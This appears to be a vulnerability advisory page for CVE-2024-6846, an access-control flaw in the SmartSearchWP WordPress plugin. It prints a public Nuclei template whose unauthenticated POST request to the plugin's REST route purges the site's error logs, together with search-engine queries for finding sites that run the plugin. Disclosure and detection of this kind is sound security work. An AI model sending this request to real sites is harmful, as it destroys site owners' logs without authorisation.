CVE-2024-6846: SmartSearchWP <= 2.4.4 - Unauthenticated Log Purge

日期: 2025-08-01 | 影响软件: SmartSearchWP | POC: 已公开

漏洞描述

The Chatbot with ChatGPT WordPress plugin before 2.4.5 does not validate access on some REST routes, allowing for an unauthenticated user to purge error and chat logs.

PoC代码[已公开]

id: CVE-2024-6846

info:
  name: SmartSearchWP <= 2.4.4 - Unauthenticated Log Purge
  author: s4e-io
  severity: medium
  description: |
    The Chatbot with ChatGPT WordPress plugin before 2.4.5 does not validate access on some REST routes, allowing for an unauthenticated user to purge error and chat logs.
  reference:
    - https://wpscan.com/vulnerability/d48fdab3-669c-4870-a2f9-6c39a7c25fd8/
    - https://nvd.nist.gov/vuln/detail/CVE-2024-6846
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
    cvss-score: 5.3
    cve-id: CVE-2024-6846
    epss-score: 0.06941
    epss-percentile: 0.91064
  metadata:
    max-request: 1
    verified: true
    vendor: webdigit
    product: smartsearchwp
    framework: wordpress
    publicwww-query: "/wp-content/plugins/smartsearchwp"
    fofa-query: body="/wp-content/plugins/smartsearchwp"
  tags: wpscan,cve,cve2024,wp,wordpress,wp-plugin,smartsearchwp,chatgpt,vuln

http:
  - raw:
      - |
        POST /wp-json/wdgpt/v1/purge-error-logs HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"months":"1"}

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body,"success","true", "purged successfully")'
          - 'contains(content_type,"application/json")'
          - 'status_code == 200'
        condition: and
# digest: 4a0a0047304502205bf91eeb069da6cf2068139abb888c351cf4bfdedcd728f2a25faf5c79e70503022100f9d70570ae99df2576b2775126695c02fe60e30d838f13a01599afa0e7004614:922c64590222798bb761d5b6d8e72950

相关漏洞推荐